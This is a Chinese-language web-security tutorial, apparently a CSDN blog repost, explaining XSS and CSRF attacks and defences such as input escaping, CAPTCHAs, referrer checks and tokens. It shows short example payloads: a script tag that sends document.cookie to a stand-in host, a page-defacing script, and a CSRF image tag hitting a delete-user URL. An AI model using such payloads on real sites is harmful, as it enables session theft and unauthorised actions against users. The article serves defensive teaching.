前端扫雷之XSS和CSRF攻击

XSS

XSS(Cross Site Scripting)跨站脚本攻击
是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

举个例子:
A网站有评论功能,当用户提交评论后会被保存到网站数据库,当刷新页面时,评论以如下的形式显示出来

<p>评论内容</p>

如果此时有恶意攻击者写入如下评论

<script>get(document.cookie);sendCookieTo("www.xx.com")</script>

诸如类似的代码,用户的信息就会被窃取。就算不窃取用户信息,只是恶作剧也可以通过注入js代码如

<script>getElementsByTagName("body")[0].innerHtml="该网站已被攻击!!!"</script>

使网站不能正常使用。

XSS的防御

要防止XSS攻击其实也很简单,只需要记住一条:任何用户的输入不论是在地址栏的,input标签的还是其他位置的,都需要经过过滤,尤其是那些会被记录到数据库并在网页上渲染出来的用户输入。
具体的,可以对关键字符如“<”、“>”、“()”、“&”等转化为实体字符再存储,这样浏览器在解析的时候会把这些字符当做一般字符而不是js代码来解析。

CSRF

CSRF(Cross-site request forgery)跨站请求伪造
是指通过伪装来自受信任用户的请求来利用受信任的网站。

那怎么伪装成用户呢?
我们都有过登录一个网站成功后,过一段时间再上这个网站不用输用户名和密码就能够登录的经历。这一般是通过cookie来实现的,上一篇文章中已经有过介绍了,这里就不再赘述。
正是这个方便的功能却成了漏洞的源头,只要攻击者访问网站时携带上你的cookie,就可以避开用户验证获得你的权限。

攻击者可以通过XSS攻击获取你的cookie,然后发送带有cookie的请求到网站,就可以像你一样不用输入用户名和密码登录,是不是很可怕?

其实不利用XSS漏洞也可以进行CSRF攻击,举个简单的例子:
用户A登录了某X网站,网站返回cookie存于本地,以便下次访问该网站时直接携带该cookie通过验证。在cookie失效之前,用户A又点击了某个恶意网站Y,该网站包含如下代码:

<img src="http://www.X.com" alt="csrf">

在进入网站Y之后,浏览器为渲染图片会向"http://www.X.com" 发起请求并携带上该网站的cookie,X网站收到请求后验证cookie,通过后便认为请求是由A发起的,从而利用A的权限进行恶意操作。

基本的原理就是这样,只要让浏览器携带A的cookie访问X网站就行了,比如访问http://www.X.com?delete=1&username=b 如果A有就删除用户的权利,此次攻击可能会直接删掉用户b。

CSRF的防御

要让浏览器访问网站时不携带cookie是不现实的。要防止CRSF攻击我们通常从验证码、referrer和token这三个方面入手。

验证码
用户向服务器发起关键请求时需要输入验证码,这样就可以引入用户干预,使攻击不能在神不知鬼不觉的情况下进行。

检查referrer
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器藉此可以获得一些信息用于处理。
服务器通过检查referrer,判断请求是否是来自于合法的页面,从而过滤掉恶意网站的请求。

token
我们可以在cookie中添加一个token字段(通常为一个难以仿造的随机字符串),并将其存储在服务器端的session中。在每次提交请求时额外加上这个token字段,服务器端通过验证token来判断是否是合法的请求。

有的同学可能要问了,cookie都能被携带,token放在cookie中不是没用吗?
其实不然,这里的关键是要在请求中加上token字段,就算cookie中有token服务器也是不认的。而要将token提取出来加在请求字段中就需要有访问cookie的权限,由于cookie不能跨域访问,因此攻击网站是不能读取cookie中的内容的,因此也就不可能读取出其中的token。

猜你喜欢

转载自blog.csdn.net/u012075670/article/details/64923714